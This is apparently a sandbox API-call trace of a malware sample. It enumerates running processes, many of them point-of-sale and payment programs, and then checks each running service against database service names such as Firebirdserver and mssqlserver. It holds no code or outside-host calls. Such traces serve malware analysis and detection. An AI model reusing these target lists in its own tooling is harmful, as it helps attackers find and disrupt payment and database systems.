	[0067.046] lstrlenW (lpString="creditservice.exe") returned 17
	[0067.046] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0067.047] lstrlenW (lpString="edcsvr.exe") returned 10
	[0067.047] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0067.047] lstrlenW (lpString="fpos.exe") returned 8
	[0067.047] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0067.048] lstrlenW (lpString="isspos.exe") returned 10
	[0067.048] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0067.049] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0067.049] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0067.050] lstrlenW (lpString="omnipos.exe") returned 11
	[0067.050] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0067.051] lstrlenW (lpString="spcwin.exe") returned 10
	[0067.051] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0067.052] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0067.052] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0067.052] lstrlenW (lpString="utg2.exe") returned 8
	[0067.053] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0067.053] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0067.053] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0067.054] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0067.054] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0067.055] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0067.055] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0067.056] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0067.056] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0067.056] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0067.056] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0067.057] lstrlenW (lpString="taskhostw.exe") returned 13
	[0067.057] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0067.058] lstrlenW (lpString="taskhostw.exe") returned 13
	[0067.058] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0067.058] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0067.058] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0067.059] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0067.059] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0067.060] lstrlenW (lpString="sc.exe") returned 6
	[0067.060] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0067.061] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0067.061] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0067.061] lstrlenW (lpString="UsoClient.exe") returned 13
	[0067.061] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.062] lstrlenW (lpString="conhost.exe") returned 11
	[0067.062] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.063] lstrlenW (lpString="conhost.exe") returned 11
	[0067.063] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.063] lstrlenW (lpString="conhost.exe") returned 11
	[0067.063] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.064] lstrlenW (lpString="svchost.exe") returned 11
	[0067.064] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0067.065] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0067.065] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.065] lstrlenW (lpString="svchost.exe") returned 11
	[0067.065] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0067.066] lstrlenW (lpString="cmd.exe") returned 7
	[0067.066] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0067.067] lstrlenW (lpString="conhost.exe") returned 11
	[0067.067] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0067.068] CloseHandle (hObject=0x29c) returned 1
	[0067.068] Sleep (dwMilliseconds=0x1f4) 
	[0068.291] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53eb30
	[0068.292] EnumServicesStatusExW (in: hSCManager=0x53eb30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0068.293] GetLastError () returned 0xea
	[0068.293] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x55ad60
	[0068.293] EnumServicesStatusExW (in: hSCManager=0x53eb30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55ad60, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55ad60, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0068.293] CloseServiceHandle (hSCObject=0x53eb30) returned 1
	[0068.294] lstrlenW (lpString="Appinfo") returned 7
	[0068.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0068.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0068.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0068.294] lstrlenW (lpString="AppXSvc") returned 7
	[0068.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0068.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0068.294] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0068.294] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0068.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0068.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0068.294] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0068.294] lstrlenW (lpString="Audiosrv") returned 8
	[0068.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0068.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0068.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0068.294] lstrlenW (lpString="BFE") returned 3
	[0068.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0068.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0068.294] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0068.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0068.294] lstrlenW (lpString="BITS") returned 4
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0068.295] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0068.295] lstrlenW (lpString="CDPSvc") returned 6
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0068.295] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0068.295] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0068.295] lstrlenW (lpString="CryptSvc") returned 8
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0068.295] lstrlenW (lpString="DcomLaunch") returned 10
	[0068.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0068.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0068.295] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0068.295] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0068.296] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0068.296] lstrlenW (lpString="Dhcp") returned 4
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0068.296] lstrlenW (lpString="Dnscache") returned 8
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0068.296] lstrlenW (lpString="DoSvc") returned 5
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0068.296] lstrlenW (lpString="DPS") returned 3
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0068.296] lstrlenW (lpString="DusmSvc") returned 7
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0068.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0068.296] lstrlenW (lpString="EventLog") returned 8
	[0068.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0068.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0068.297] lstrlenW (lpString="EventSystem") returned 11
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0068.297] lstrlenW (lpString="FontCache") returned 9
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0068.297] lstrlenW (lpString="gpsvc") returned 5
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0068.297] lstrlenW (lpString="iphlpsvc") returned 8
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0068.297] lstrlenW (lpString="KeyIso") returned 6
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0068.297] lstrlenW (lpString="LanmanServer") returned 12
	[0068.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0068.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0068.297] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0068.297] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0068.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0068.298] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0068.298] lstrlenW (lpString="lfsvc") returned 5
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0068.298] lstrlenW (lpString="lmhosts") returned 7
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0068.298] lstrlenW (lpString="LSM") returned 3
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
